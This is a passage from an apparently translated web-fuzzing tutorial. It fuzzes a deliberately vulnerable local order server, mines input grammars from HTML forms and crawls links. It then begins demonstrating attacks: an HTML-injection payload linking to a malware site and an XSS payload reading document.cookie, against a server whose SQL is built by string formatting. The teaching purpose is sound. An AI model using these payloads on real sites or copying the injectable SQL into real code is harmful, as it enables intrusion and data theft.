print(db.execute("SELECT * FROM orders").fetchall())

```

```py
[('tshirt', 'Jane Doe', 'doe@example.com', 'Seattle', '98104'), ('lockset', 'Jane Doe', 'j_smith@example.com', 'Seattle', '16631')]

```

### 使用意外值[进行模糊处理](#Fuzzing-with-Unexpected-Values)

现在，我们可以看到服务器在面对“标准”值时表现出色。 但是，如果我们输入非标准值会怎样？ 为此，我们使用了[突变模糊器](MutationFuzzer.html)，该变量将随机更改插入URL。 我们的种子（即要变异的值）来自语法模糊器：

```py
seed = order_fuzzer.fuzz()
seed

```

```py
'/order?item=drill&name=Jane+Doe&email=j.doe%40example.com&city=Seattle&zip=45732'

```

对该字符串进行突变不仅会在字段值中产生突变，还会在字段名称以及URL结构中产生突变。

```py
from [MutationFuzzer](MutationFuzzer.html) import MutationFuzzer  # minor deoendency

```

```py
mutate_order_fuzzer = MutationFuzzer([seed], min_mutations=1, max_mutations=1)
[mutate_order_fuzzer.fuzz() for i in range(5)]

```

```py
['/order?item=drill&name=Jane+Doe&email=j.doe%40example.com&city=Seattle&zip=45732',
 '/order?item=drill&name=Jane+Doe&email=.doe%40example.com&city=Seattle&zip=45732',
 '/order?item=drill;&name=Jane+Doe&email=j.doe%40example.com&city=Seattle&zip=45732',
 '/order?item=drill&name=Jane+Doe&emil=j.doe%40example.com&city=Seattle&zip=45732',
 '/order?item=drill&name=Jane+Doe&email=j.doe%40example.com&city=Seattle&zip=4732']

```

让我们稍微模糊一下，直到出现内部服务器错误。 我们使用Python `requests`模块与Web服务器进行交互，以便我们可以直接访问HTTP状态代码。

```py
while True:
    path = mutate_order_fuzzer.fuzz()
    url = urljoin(httpd_url, path)
    r = requests.get(url)
    if r.status_code == HTTPStatus.INTERNAL_SERVER_ERROR:
        break

```

没多久。 这是有问题的网址：

```py
url

```

```py
'http://127.0.0.1:8800/order?item=drill&nae=Jane+Doe&email=j.doe%40example.com&city=Seattle&zip=45732'

```

```py
clear_httpd_messages()
HTML(webbrowser(url))

```

```py
127.0.0.1 - - [21/May/2019 20:16:42] "GET /order?item=drill&nae=Jane+Doe&email=j.doe%40example.com&city=Seattle&zip=45732 HTTP/1.1" 500 -

```

```py
127.0.0.1 - - [21/May/2019 20:16:42] Traceback (most recent call last):
  File "", line 8, in do_GET
    self.handle_order()
  File "<ipython-input-27-5f6d443bea4f>", line 4, in handle_order
    self.store_order(values)
  File "<ipython-input-28-e2f199af34d4>", line 5, in store_order
    sql_command = "INSERT INTO orders VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')".format(**values)
KeyError: 'name'</ipython-input-28-e2f199af34d4></ipython-input-27-5f6d443bea4f> 
```

**Internal Server Error**

The server has encountered an internal error. Go to our [order form](/).

```py
Traceback (most recent call last):
  File "", line 8, in do_GET
    self.handle_order()
  File "<ipython-input-27-5f6d443bea4f>", line 4, in handle_order
    self.store_order(values)
  File "<ipython-input-28-e2f199af34d4>", line 5, in store_order
    sql_command = "INSERT INTO orders VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')".format(**values)
KeyError: 'name'</ipython-input-28-e2f199af34d4></ipython-input-27-5f6d443bea4f> 
```

URL如何导致此内部错误？ 我们使用[增量调试](Reducer.html)来最小化导致故障的路径，并建立了`WebRunner`类来定义故障条件：

```py
failing_path = path
failing_path

```

```py
'/order?item=drill&nae=Jane+Doe&email=j.doe%40example.com&city=Seattle&zip=45732'

```

```py
from [Fuzzer](Fuzzer.html) import Runner

```

```py
class WebRunner(Runner):
    def __init__(self, base_url=None):
        self.base_url = base_url

    def run(self, url):
        if self.base_url is not None:
            url = urljoin(self.base_url, url)

        import [requests](http://docs.python-requests.org/en/master/)  # for imports
        r = requests.get(url)
        if r.status_code == HTTPStatus.OK:
            return url, Runner.PASS
        elif r.status_code == HTTPStatus.INTERNAL_SERVER_ERROR:
            return url, Runner.FAIL
        else:
            return url, Runner.UNRESOLVED

```

```py
web_runner = WebRunner(httpd_url)
web_runner.run(failing_path)

```

```py
('http://127.0.0.1:8800/order?item=drill&nae=Jane+Doe&email=j.doe%40example.com&city=Seattle&zip=45732',
 'FAIL')

```

这是最小化的路径：

```py
from [Reducer](Reducer.html) import DeltaDebuggingReducer  # minor

```

```py
minimized_path = DeltaDebuggingReducer(web_runner).reduce(failing_path)
minimized_path

```

```py
'order'

```

事实证明，如果我们不提供请求的字段，我们的服务器就会遇到内部错误：

```py
minimized_url = urljoin(httpd_url, minimized_path)
minimized_url

```

```py
'http://127.0.0.1:8800/order'

```

```py
clear_httpd_messages()
HTML(webbrowser(minimized_url))

```

```py
127.0.0.1 - - [21/May/2019 20:16:42] "GET /order HTTP/1.1" 500 -

```

```py
127.0.0.1 - - [21/May/2019 20:16:42] Traceback (most recent call last):
  File "", line 8, in do_GET
    self.handle_order()
  File "<ipython-input-27-5f6d443bea4f>", line 4, in handle_order
    self.store_order(values)
  File "<ipython-input-28-e2f199af34d4>", line 5, in store_order
    sql_command = "INSERT INTO orders VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')".format(**values)
KeyError: 'item'</ipython-input-28-e2f199af34d4></ipython-input-27-5f6d443bea4f> 
```

**Internal Server Error**

The server has encountered an internal error. Go to our [order form](/).

```py
Traceback (most recent call last):
  File "", line 8, in do_GET
    self.handle_order()
  File "<ipython-input-27-5f6d443bea4f>", line 4, in handle_order
    self.store_order(values)
  File "<ipython-input-28-e2f199af34d4>", line 5, in store_order
    sql_command = "INSERT INTO orders VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')".format(**values)
KeyError: 'item'</ipython-input-28-e2f199af34d4></ipython-input-27-5f6d443bea4f> 
```

我们看到，要使我们的Web服务器对意外的输入变得更加健壮，我们可能还有很多工作要做。 [练习](#Exercises)提供了有关操作的说明。

## 提取输入格式的语法

在前面的示例中，我们假设我们有一个语法可以生成有效（或无效）的订单查询。 但是，不需要手动指定这种语法。 我们还可以*从当前网页中自动提取*。 这样，我们可以将测试生成器应用于任意Web表单，而无需手动指定步骤。

### 在HTML中搜索输入字段

我们方法的关键思想是识别表单中的所有输入字段。 为此，让我们看一下订单表单中的各个元素如何以HTML编码：

```py
html_text = webbrowser(httpd_url)
print(html_text[html_text.find("<form"):html_text.find("</form>") + len("</form>")])

```

```py
127.0.0.1 - - [21/May/2019 20:16:42] "GET / HTTP/1.1" 200 -

```

```py
<form action="/order" style="border:3px; border-style:solid; border-color:#FF0000; padding: 1em;">
  <strong id="title" style="font-size: x-large">Fuzzingbook Swag Order Form</strong>
  <p>
  Yes! Please send me at your earliest convenience
  <select name="item">
  <option value="tshirt">One FuzzingBook T-Shirt</option>
<option value="drill">One FuzzingBook Rotary Hammer</option>
<option value="lockset">One FuzzingBook Lock Set</option>

  </select>
  <br>
  <table>
  <tr><td>
  <label for="name">Name: </label><input type="text" name="name">
  </td><td>
  <label for="email">Email: </label><input type="email" name="email"><br>
  </td></tr>
  <tr><td>
  <label for="city">City: </label><input type="text" name="city">
  </td><td>
  <label for="zip">ZIP Code: </label><input type="number" name="zip">
  </tr></tr>
  </table>
  <input type="checkbox" name="terms"><label for="terms">I have read
  the <a href="/terms">terms and conditions</a></label>.<br>
  <input type="submit" name="submit" value="Place order">
</p>
</form>

```

我们看到有许多接受输入的表单元素，特别是`<input>`，但也接受`<select>`和`<option>`。 现在的想法是*解析*所讨论网页的HTML，提取这些单独的输入元素，然后创建*语法*来生成匹配的URL，从而有效地填写 形成。

为了解析HTML页面，我们可以定义一个语法来解析HTML，并利用我们自己的解析器基础结构来使用[。 但是，不重新发明轮子，而是建立在Python库中现有的专用`HTMLParser`类上要容易得多。](Parser.html)

```py
from [html.parser](https://docs.python.org/3/library/html.parser.html) import HTMLParser

```

解析期间，我们搜索`<form>`标签并将关联的操作（即，提交表单时要调用的URL）保存在`action`属性中。 在处理表单时，我们将创建一个映射`fields`，其中包含我们已经看到的所有输入字段。 它将字段名称映射到相应的HTML输入类型（`"text"`，`"number"`，`"checkbox"`等）。 排他选择选项映射到可能值的列表； `select`堆栈保存当前活动的选择。

```py
class FormHTMLParser(HTMLParser):
    def reset(self):
        super().reset()
        self.action = ""  # Form action
        # Map of field name to type (or selection name to [option_1, option_2,
        # ...])
        self.fields = {}
        self.select = []  # Stack of currently active selection names

```

解析时，解析器为找到的每个开始标记（例如`<form>`）调用`handle_starttag()`； 相反，它调用`handle_endtag()`来关闭标签（例如`</form>`）。 `attributes`为我们提供了相关属性和值的映射。

这是我们处理各个标签的方法：

*   找到`<form>`标签后，将相关联的动作保存在`action`属性中；
*   找到`<input>`标签或类似标签时，将类型保存在`fields`属性中；
*   当找到`<select>`标签或类似标签时，我们将其名称压入`select`堆栈；
*   当我们找到一个`<option>`标签时，我们将该选项附加到与最后推送的`<select>`标签相关的列表中。

```py
class FormHTMLParser(FormHTMLParser):
    def handle_starttag(self, tag, attrs):
        attributes = {attr_name: attr_value for attr_name, attr_value in attrs}
        # print(tag, attributes)

        if tag == "form":
            self.action = attributes.get("action", "")

        elif tag == "select" or tag == "datalist":
            if "name" in attributes:
                name = attributes["name"]
                self.fields[name] = []
                self.select.append(name)
            else:
                self.select.append(None)

        elif tag == "option" and "multiple" not in attributes:
            current_select_name = self.select[-1]
            if current_select_name is not None and "value" in attributes:
                self.fields[current_select_name].append(attributes["value"])

        elif tag == "input" or tag == "option" or tag == "textarea":
            if "name" in attributes:
                name = attributes["name"]
                self.fields[name] = attributes.get("type", "text")

        elif tag == "button":
            if "name" in attributes:
                name = attributes["name"]
                self.fields[name] = [""]

```

```py
class FormHTMLParser(FormHTMLParser):
    def handle_endtag(self, tag):
        if tag == "select":
            self.select.pop()

```

我们的实现每个网页只处理一种表单； 它也仅适用于HTML，而忽略了来自JavaScript的所有交互。 此外，它不支持所有HTML输入类型。

让我们将这个解析器付诸行动。 我们创建一个`HTMLGrammarMiner`类，该类需要一个HTML文档进行解析。 然后，它返回关联的动作和关联的字段：

```py
class HTMLGrammarMiner(object):
    def __init__(self, html_text):
        html_parser = FormHTMLParser()
        html_parser.feed(html_text)
        self.fields = html_parser.fields
        self.action = html_parser.action

```

应用到我们的订单上，我们得到的是：

```py
html_miner = HTMLGrammarMiner(html_text)
html_miner.action

```

```py
'/order'

```

```py
html_miner.fields

```

```py
{'item': ['tshirt', 'drill', 'lockset'],
 'name': 'text',
 'email': 'email',
 'city': 'text',
 'zip': 'number',
 'terms': 'checkbox',
 'submit': 'submit'}

```

通过这种结构，我们现在可以生成一个语法，该语法自动生成有效的表单提交URL。

### 网页的语法摘要

为了从HTML提取的字段中创建语法，我们以语法的[一章中定义的`CGI_GRAMMAR`为基础。 关键思想是为每种HTML输入类型定义规则：HTML `number`类型将从`<number>`规则中获取值； 同样，将根据`<email>`规则定义HTML `email`类型的值。 我们的默认语法为这些类型提供了非常简单的规则。](Grammars.html)

```py
from [Grammars](Grammars.html) import crange, srange, new_symbol, unreachable_nonterminals, CGI_GRAMMAR, extend_grammar

```

```py
class HTMLGrammarMiner(HTMLGrammarMiner):
    QUERY_GRAMMAR = extend_grammar(CGI_GRAMMAR, {
        "<start>": ["<action>?<query>"],

        "<text>": ["<string>"],

        "<number>": ["<digits>"],
        "<digits>": ["<digit>", "<digits><digit>"],
        "<digit>": crange('0', '9'),

        "<checkbox>": ["<_checkbox>"],
        "<_checkbox>": ["on", "off"],

        "<email>": ["<_email>"],
        "<_email>": [cgi_encode("<string>@<string>", "<>")],

        # Use a fixed password in case we need to repeat it
        "<password>": ["<_password>"],
        "<_password>": ["abcABC.123"],

        # Stick to printable characters to avoid logging problems
        "<percent>": ["%<hexdigit-1><hexdigit>"],
        "<hexdigit-1>": srange("34567"),

        # Submissions:
        "<submit>": [""]
    })

```

现在，我们的语法挖掘器将从HTML提取的字段转换为规则。 本质上，遇到的每个输入字段都包含在结果查询URL中； 并得到一条将其扩展为适当类型的规则。

```py
class HTMLGrammarMiner(HTMLGrammarMiner):
    def mine_grammar(self):
        grammar = extend_grammar(self.QUERY_GRAMMAR)
        grammar["<action>"] = [self.action]

        query = ""
        for field in self.fields:
            field_symbol = new_symbol(grammar, "<" + field + ">")
            field_type = self.fields[field]

            if query != "":
                query += "&"
            query += field_symbol

            if isinstance(field_type, str):
                field_type_symbol = "<" + field_type + ">"
                grammar[field_symbol] = [field + "=" + field_type_symbol]
                if field_type_symbol not in grammar:
                    # Unknown type
                    grammar[field_type_symbol] = ["<text>"]
            else:
                # List of values
                value_symbol = new_symbol(grammar, "<" + field + "-value>")
                grammar[field_symbol] = [field + "=" + value_symbol]
                grammar[value_symbol] = field_type

        grammar["<query>"] = [query]

        # Remove unused parts
        for nonterminal in unreachable_nonterminals(grammar):
            del grammar[nonterminal]

        assert is_valid_grammar(grammar)

        return grammar

```

让我们展示一下`HTMLGrammarMiner`的运行情况，并将其再次应用到订单中。 这是完整的语法结果：

```py
html_miner = HTMLGrammarMiner(html_text)
grammar = html_miner.mine_grammar()
grammar

```

```py
{'<start>': ['<action>?<query>'],
 '<string>': ['<letter>', '<letter><string>'],
 '<letter>': ['<plus>', '<percent>', '<other>'],
 '<plus>': ['+'],
 '<percent>': ['%<hexdigit-1><hexdigit>'],
 '<hexdigit>': ['0',
  '1',
  '2',
  '3',
  '4',
  '5',
  '6',
  '7',
  '8',
  '9',
  'a',
  'b',
  'c',
  'd',
  'e',
  'f'],
 '<other>': ['0', '1', '2', '3', '4', '5', 'a', 'b', 'c', 'd', 'e', '-', '_'],
 '<text>': ['<string>'],
 '<number>': ['<digits>'],
 '<digits>': ['<digit>', '<digits><digit>'],
 '<digit>': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],
 '<checkbox>': ['<_checkbox>'],
 '<_checkbox>': ['on', 'off'],
 '<email>': ['<_email>'],
 '<_email>': ['<string>%40<string>'],
 '<hexdigit-1>': ['3', '4', '5', '6', '7'],
 '<submit>': [''],
 '<action>': ['/order'],
 '<item>': ['item=<item-value>'],
 '<item-value>': ['tshirt', 'drill', 'lockset'],
 '<name>': ['name=<text>'],
 '<email-1>': ['email=<email>'],
 '<city>': ['city=<text>'],
 '<zip>': ['zip=<number>'],
 '<terms>': ['terms=<checkbox>'],
 '<submit-1>': ['submit=<submit>'],
 '<query>': ['<item>&<name>&<email-1>&<city>&<zip>&<terms>&<submit-1>']}

```

让我们看一下语法的结构。 它产生这种形式的URL路径：

```py
grammar["<start>"]

```

```py
['<action>?<query>']

```

此处，`<action>`来自HTML表单的`action`属性：

```py
grammar["<action>"]

```

```py
['/order']

```

`<query>`由各个字段项组成：

```py
grammar["<query>"]

```

```py
['<item>&<name>&<email-1>&<city>&<zip>&<terms>&<submit-1>']

```

这些字段中的每一个都具有`<field-name>=<field-type>`的形式，其中`<field-type>`已在语法中定义：

```py
grammar["<zip>"]

```

```py
['zip=<number>']

```

```py
grammar["<terms>"]

```

```py
['terms=<checkbox>']

```

这些是从语法产生的查询URL。 我们看到这些与我们手工制作的语法所产生的相似，除了名称，电子邮件地址和城市的字符串值现在完全是随机的：

```py
order_fuzzer = GrammarFuzzer(grammar)
[order_fuzzer.fuzz() for i in range(3)]

```

```py
['/order?item=drill&name=++%61&email=%6e%40b++&city=0&zip=88&terms=on&submit=',
 '/order?item=tshirt&name=%3f&email=21+%40+&city=++&zip=4&terms=off&submit=',
 '/order?item=drill&name=2&email=%62%40++%4d1++_%77&city=e%5d&zip=1&terms=on&submit=']

```

我们可以再次将它们直接输入到Web浏览器中：

```py
HTML(webbrowser(urljoin(httpd_url, order_fuzzer.fuzz())))

```

```py
127.0.0.1 - - [21/May/2019 20:16:43] INSERT INTO orders VALUES ('drill', ' ', '5F @p   a ', 'cdb', '3230')

```

```py
127.0.0.1 - - [21/May/2019 20:16:43] "GET /order?item=drill&name=+&email=5F+%40p+++a+&city=cdb&zip=3230&terms=on&submit= HTTP/1.1" 200 -

```

**Thank you for your Fuzzingbook Order!**

我们将发送**一本FuzzingBook旋转锤**至cdb，3230
，确认邮件将发送至5F @p a。

Want more swag? Use our [order form](/)!

我们看到（再过一次）我们可以根据给定的数据自动挖掘语法。

### Web表单的模糊器

为了使事情最方便，让我们定义一个`WebFormFuzzer`类，它可以在一处完成所有操作。 给定一个URL，它将提取其HTML内容，挖掘语法，然后为其生成输入。

```py
class WebFormFuzzer(GrammarFuzzer):
    def __init__(self, url, **grammar_fuzzer_options):
        html_text = self.get_html(url)
        grammar = self.get_grammar(html_text)
        super().__init__(grammar, **grammar_fuzzer_options)

    def get_html(self, url):
        return requests.get(url).text

    def get_grammar(self, html_text):
        grammar_miner = HTMLGrammarMiner(html_text)
        return grammar_miner.mine_grammar()        

```

现在，模糊Web表单所需要做的就是提供其URL：

```py
web_form_fuzzer = WebFormFuzzer(httpd_url)
web_form_fuzzer.fuzz()

```

```py
'/order?item=lockset&name=%6b+&email=+%40b5&city=%7e+5&zip=65&terms=on&submit='

```

我们可以将模糊器与如上定义的`WebRunner`结合使用，以直接在Web服务器上运行结果模糊输入：

```py
web_form_runner = WebRunner(httpd_url)
web_form_fuzzer.runs(web_form_runner, 10)

```

```py
[('http://127.0.0.1:8800/order?item=drill&name=+%6d&email=%40%400&city=%64&zip=9&terms=on&submit=',
  'PASS'),
 ('http://127.0.0.1:8800/order?item=lockset&name=++&email=%63%40d&city=_&zip=6&terms=on&submit=',
  'PASS'),
 ('http://127.0.0.1:8800/order?item=lockset&name=+&email=d%40_-&city=2++0&zip=1040&terms=off&submit=',
  'PASS'),
 ('http://127.0.0.1:8800/order?item=tshirt&name=%4bb&email=%6d%40+&city=%7a%79+&zip=13&terms=off&submit=',
  'PASS'),
 ('http://127.0.0.1:8800/order?item=lockset&name=d&email=%55+%40%74&city=+&zip=4&terms=on&submit=',
  'PASS'),
 ('http://127.0.0.1:8800/order?item=tshirt&name=_+2&email=1++%40+&city=+&zip=30&terms=on&submit=',
  'PASS'),
 ('http://127.0.0.1:8800/order?item=tshirt&name=+&email=a-%40+&city=+%57&zip=2&terms=on&submit=',
  'PASS'),
 ('http://127.0.0.1:8800/order?item=lockset&name=%56&email=++%40a%55ee%44&city=+&zip=01&terms=off&submit=',
  'PASS'),
 ('http://127.0.0.1:8800/order?item=tshirt&name=%6fc&email=++%40+&city=a&zip=25&terms=off&submit=',
  'PASS'),
 ('http://127.0.0.1:8800/order?item=drill&name=55&email=3%3e%40%405&city=%4c&zip=0&terms=off&submit=',
  'PASS')]

```

虽然使用方便，但该模糊器仍然非常初级：

*   每页仅限一种形式。
*   它仅支持`GET`操作（即，编码为URL的输入）。 完整的Web表单模糊测试器至少必须支持`POST`操作。
*   模糊器仅基于HTML构建。 动态网页没有Java处理。

在进入下一部分之前，让我们清除所有待处理的消息：

```py
clear_httpd_messages()

```

## 搜寻用户界面

到目前为止，我们已经假设只有一种形式可以探索。 真正的Web服务器当然具有多个页面-可能还有多种形式。 我们定义了一个简单的*搜寻器*，该搜寻器探索了源自一页的所有链接。

我们的搜寻器非常简单。 它的主要组成部分还是`HTMLParser`，它分析HTML代码中的链接形式

```py
<a href="<link>">

```

并将所有找到的链接保存在名为`links`的列表中。

```py
class LinkHTMLParser(HTMLParser):
    def reset(self):
        super().reset()
        self.links = []

    def handle_starttag(self, tag, attrs):
        attributes = {attr_name: attr_value for attr_name, attr_value in attrs}

        if tag == "a" and "href" in attributes:
            # print("Found:", tag, attributes)
            self.links.append(attributes["href"])

```

实际的搜寻器是作为*生成器函数* `crawl()`生成的，该函数一个接一个地生成URL。 默认情况下，它仅返回驻留在同一主机上的URL。 参数`max_pages`控制应扫描的页面数（默认值：1）。 我们还尊重远程站点上的`robots.txt`文件，以检查允许我们扫描的页面。

```py
from [collections](https://docs.python.org/3/library/collections.html) import deque
import [urllib.robotparser](https://docs.python.org/3/library/urllib.robotparser.html)

```

```py
def crawl(url, max_pages=1, same_host=True):
    """Return the list of linked URLs from the given URL.  Accesses up to `max_pages`."""

    pages = deque([(url, "<param>")])
    urls_seen = set()

    rp = urllib.robotparser.RobotFileParser()
    rp.set_url(urljoin(url, "/robots.txt"))
    rp.read()

    while len(pages) > 0 and max_pages > 0:
        page, referrer = pages.popleft()
        if not rp.can_fetch("*", page):
            # Disallowed by robots.txt
            continue

        r = requests.get(page)
        max_pages -= 1

        if r.status_code != HTTPStatus.OK:
            print("Error " + repr(r.status_code) + ": " + page,
                  "(referenced from " + referrer + ")",
                  file=sys.stderr)
            continue

        content_type = r.headers["content-type"]
        if not content_type.startswith("text/html"):
            continue

        parser = LinkHTMLParser()
        parser.feed(r.text)

        for link in parser.links:
            target_url = urljoin(page, link)
            if same_host and urlsplit(
                    target_url).hostname != urlsplit(url).hostname:
                # Different host
                continue
            if urlsplit(target_url).fragment != "":
                # Ignore #fragments
                continue

            if target_url not in urls_seen:
                pages.append((target_url, page))
                urls_seen.add(target_url)
                yield target_url

        if page not in urls_seen:
            urls_seen.add(page)
            yield page

```

我们可以在我们自己的服务器上运行搜寻器，它会在其中快速返回订单页面和条款和条件页面。

```py
for url in crawl(httpd_url):
    print_httpd_messages()
    print_url(url)

```

```py
127.0.0.1 - - [21/May/2019 20:16:43] "GET /robots.txt HTTP/1.1" 404 -

```

```py
127.0.0.1 - - [21/May/2019 20:16:43] "GET / HTTP/1.1" 200 -

```

```py
http://127.0.0.1:8800/terms
```

```py
http://127.0.0.1:8800
```

我们还可以在其他站点上进行爬网，例如该项目的主页。

```py
for url in crawl("https://www.fuzzingbook.org/"):
    print_url(url)

```

```py
https://www.fuzzingbook.org/
```

```py
https://www.fuzzingbook.org/html/00_Table_of_Contents.html
```

```py
https://www.fuzzingbook.org/html/01_Intro.html
```

```py
https://www.fuzzingbook.org/html/Intro_Testing.html
```

```py
https://www.fuzzingbook.org/html/02_Lexical_Fuzzing.html
```

```py
https://www.fuzzingbook.org/html/Fuzzer.html
```

```py
https://www.fuzzingbook.org/html/Coverage.html
```

```py
https://www.fuzzingbook.org/html/MutationFuzzer.html
```

```py
https://www.fuzzingbook.org/html/GreyboxFuzzer.html
```

```py
https://www.fuzzingbook.org/html/SearchBasedFuzzer.html
```

```py
https://www.fuzzingbook.org/html/MutationAnalysis.html
```

```py
https://www.fuzzingbook.org/html/03_Syntactical_Fuzzing.html
```

```py
https://www.fuzzingbook.org/html/Grammars.html
```

```py
https://www.fuzzingbook.org/html/GrammarFuzzer.html
```

```py
https://www.fuzzingbook.org/html/GrammarCoverageFuzzer.html
```

```py
https://www.fuzzingbook.org/html/Parser.html
```

```py
https://www.fuzzingbook.org/html/ProbabilisticGrammarFuzzer.html
```

```py
https://www.fuzzingbook.org/html/GeneratorGrammarFuzzer.html
```

```py
https://www.fuzzingbook.org/html/GreyboxGrammarFuzzer.html
```

```py
https://www.fuzzingbook.org/html/Reducer.html
```

```py
https://www.fuzzingbook.org/html/04_Semantical_Fuzzing.html
```

```py
https://www.fuzzingbook.org/html/GrammarMiner.html
```

```py
https://www.fuzzingbook.org/html/InformationFlow.html
```

```py
https://www.fuzzingbook.org/html/ConcolicFuzzer.html
```

```py
https://www.fuzzingbook.org/html/SymbolicFuzzer.html
```

```py
https://www.fuzzingbook.org/html/DynamicInvariants.html
```

```py
https://www.fuzzingbook.org/html/05_Domain-Specific_Fuzzing.html
```

```py
https://www.fuzzingbook.org/html/ConfigurationFuzzer.html
```

```py
https://www.fuzzingbook.org/html/APIFuzzer.html
```

```py
https://www.fuzzingbook.org/html/Carver.html
```

```py
https://www.fuzzingbook.org/html/WebFuzzer.html
```

```py
https://www.fuzzingbook.org/html/GUIFuzzer.html
```

```py
https://www.fuzzingbook.org/html/06_Managing_Fuzzing.html
```

```py
https://www.fuzzingbook.org/html/FuzzingInTheLarge.html
```

```py
https://www.fuzzingbook.org/html/WhenToStopFuzzing.html
```

```py
https://www.fuzzingbook.org/html/99_Appendices.html
```

```py
https://www.fuzzingbook.org/html/ExpectError.html
```

```py
https://www.fuzzingbook.org/html/Timer.html
```

```py
https://www.fuzzingbook.org/html/ControlFlow.html
```

```py
https://www.fuzzingbook.org/html/RailroadDiagrams.html
```

```py
https://www.fuzzingbook.org/html/00_Index.html
```

```py
https://www.fuzzingbook.org/dist/fuzzingbook-code.zip
```

```py
https://www.fuzzingbook.org/dist/fuzzingbook-notebooks.zip
```

```py
https://www.fuzzingbook.org/slides/Fuzzer.slides.html
```

```py
https://www.fuzzingbook.org/DynamicInvariants
```

```py
https://www.fuzzingbook.org/html/Tour.html
```

```py
https://www.fuzzingbook.org/html/Guide_for_Authors.html
```

搜寻完站点的所有链接后，我们可以为发现的所有表单生成测试：

```py
for url in crawl(httpd_url, max_pages=float('inf')):
    web_form_fuzzer = WebFormFuzzer(url)
    web_form_runner = WebRunner(url)
    print(web_form_fuzzer.run(web_form_runner))

```

```py
('http://127.0.0.1:8800/terms', 'PASS')
('http://127.0.0.1:8800/order?item=tshirt&name=+&email=b+%742%40+&city=%45%39&zip=54&terms=on&submit=', 'PASS')
('http://127.0.0.1:8800/order?item=drill&name=%52-&email=e%40%3f&city=+&zip=5&terms=on&submit=', 'PASS')

```

为了获得更好的效果，可以集成爬网和模糊测试，还可以分析订单确认页面以获取更多链接。 我们将其作为练习留给读者。

让我们摆脱上面累积的所有服务器消息：

```py
clear_httpd_messages()

```

## 制作网络攻击

在结束本章之前，让我们看一看特殊的“不常见”输入类，它不仅会产生一般性故障，而且实际上允许*攻击者*随意操纵服务器。 我们将说明使用服务器的三种常见攻击，这些攻击实际上（事实是）很容易受到所有攻击的攻击。

### HTML注入攻击

我们研究的第一种攻击是 *HTML注入*。 HTML注入的想法是为Web服务器提供*数据，这些数据也可以解释为HTML* 。 如果此HTML数据随后在其Web浏览器中显示给用户，则它可能具有恶意目的，尽管（貌似）源自信誉良好的网站。 如果此数据也存储在*中*，则它将成为*持久性*攻击； 攻击者甚至不必诱使受害者进入特定页面。

这是（简单）HTML注入的示例。 对于`name`字段，我们不仅使用纯文本，还嵌入HTML标签-在这种情况下，是指向恶意软件托管站点的链接。

```py
from [Grammars](Grammars.html) import extend_grammar

```

```py
ORDER_GRAMMAR_WITH_HTML_INJECTION = extend_grammar(ORDER_GRAMMAR, {
    "<name>": [cgi_encode('''
 Jane Doe<p>
 <strong><a href="www.lots.of.malware">Click here for cute cat pictures!</a></strong>
 </p>
 ''')],
})

```

如果我们使用此语法来创建输入，则结果URL将以以下格式编码所有HTML：

```py
html_injection_fuzzer = GrammarFuzzer(ORDER_GRAMMAR_WITH_HTML_INJECTION)
order_with_injected_html = html_injection_fuzzer.fuzz()
order_with_injected_html

```

```py
'/order?item=drill&name=%0a++++Jane+Doe%3cp%3e%0a++++%3cstrong%3e%3ca+href%3d%22www.lots.of.malware%22%3eClick+here+for+cute+cat+pictures!%3c%2fa%3e%3c%2fstrong%3e%0a++++%3c%2fp%3e%0a++++&email=j_smith%40example.com&city=Seattle&zip=02805'

```

如果将此字符串发送到Web服务器会发生什么情况？ 事实证明，HTML保留在确认页面中并显示为链接。 这也会在日志中发生：

```py
HTML(webbrowser(urljoin(httpd_url, order_with_injected_html)))

```

```py
127.0.0.1 - - [21/May/2019 20:16:43] INSERT INTO orders VALUES ('drill', '
    Jane Doe **[单击此处获取可爱的猫图片！  ](www.lots.of.malware)** 
    ', 'j_smith@example.com', 'Seattle', '02805')

```

```py
127.0.0.1 - - [21/May/2019 20:16:43] "GET /order?item=drill&name=%0a++++Jane+Doe%3cp%3e%0a++++%3cstrong%3e%3ca+href%3d%22www.lots.of.malware%22%3eClick+here+for+cute+cat+pictures!%3c%2fa%3e%3c%2fstrong%3e%0a++++%3c%2fp%3e%0a++++&email=j_smith%40example.com&city=Seattle&zip=02805 HTTP/1.1" 200 -

```

**Thank you for your Fuzzingbook Order!**

我们将把**一本FuzzingBook旋转锤**发送给Jane Doe

**[单击此处获取可爱的猫图片！](www.lots.of.malware)**

in Seattle, 02805
A confirmation mail will be sent to j_smith@example.com.

Want more swag? Use our [order form](/)!

由于链接看似来自受信任的来源，因此用户更有可能遵循该链接。 该链接甚至是持久性的，因为它存储在数据库中：

```py
print(db.execute("SELECT * FROM orders WHERE name LIKE '%<%'").fetchall())

```

```py
[('drill', '\n    Jane Doe<p>\n    <strong><a href="www.lots.of.malware">Click here for cute cat pictures!</a></strong>\n    </p>\n    ', 'j_smith@example.com', 'Seattle', '02805')]

```

这意味着任何查询数据库的人（例如，处理订单的操作员）也将看到该链接，从而增加其影响。 通过精心制作注入的HTML，可以将恶意内容暴露给大量用户-直到最终删除注入的HTML。

### 跨站点脚本攻击

如果可以将HTML代码注入网页，则还可以将 *JavaScript* 代码作为注入的HTML的一部分。 此代码将在呈现注入的HTML之后立即执行。

这特别危险，因为执行的JavaScript总是在包含它的页面的*起源*中执行。 因此，攻击者通常无法强迫用户以他无法控制的任何来源运行JavaScript。 但是，当攻击者可以将其代码注入易受攻击的Web应用程序时，他可以让客户端以（受信任的）Web应用程序为源运行代码。

在这种*跨站点脚本*（ *XSS* ）攻击中，注入的脚本可以做的不仅仅是纯HTML。 例如，该代码可以访问敏感页面内容或会话cookie。 如果所讨论的代码在操作员的浏览器中运行（例如，由于操作员正在查看订单列表），则它可以检索屏幕上显示的任何其他信息，从而为各种客户窃取订单详细信息。

这是一个非常简单的脚本注入示例。 无论何时显示名称，它都会使浏览器“窃取”当前的*会话cookie* –浏览器用来识别服务器用户的数据。 就我们而言，我们可以窃取Jupyter会话的cookie。

```py
ORDER_GRAMMAR_WITH_XSS_INJECTION = extend_grammar(ORDER_GRAMMAR, {
    "<name>": [cgi_encode('Jane Doe' +
                          '<script>' +
                          'document.title = document.cookie.substring(0, 10);' +
                          '</script>')
               ],
})

```

```py
xss_injection_fuzzer = GrammarFuzzer(ORDER_GRAMMAR_WITH_XSS_INJECTION)
order_with_injected_xss = xss_injection_fuzzer.fuzz()
order_with_injected_xss

```

```py
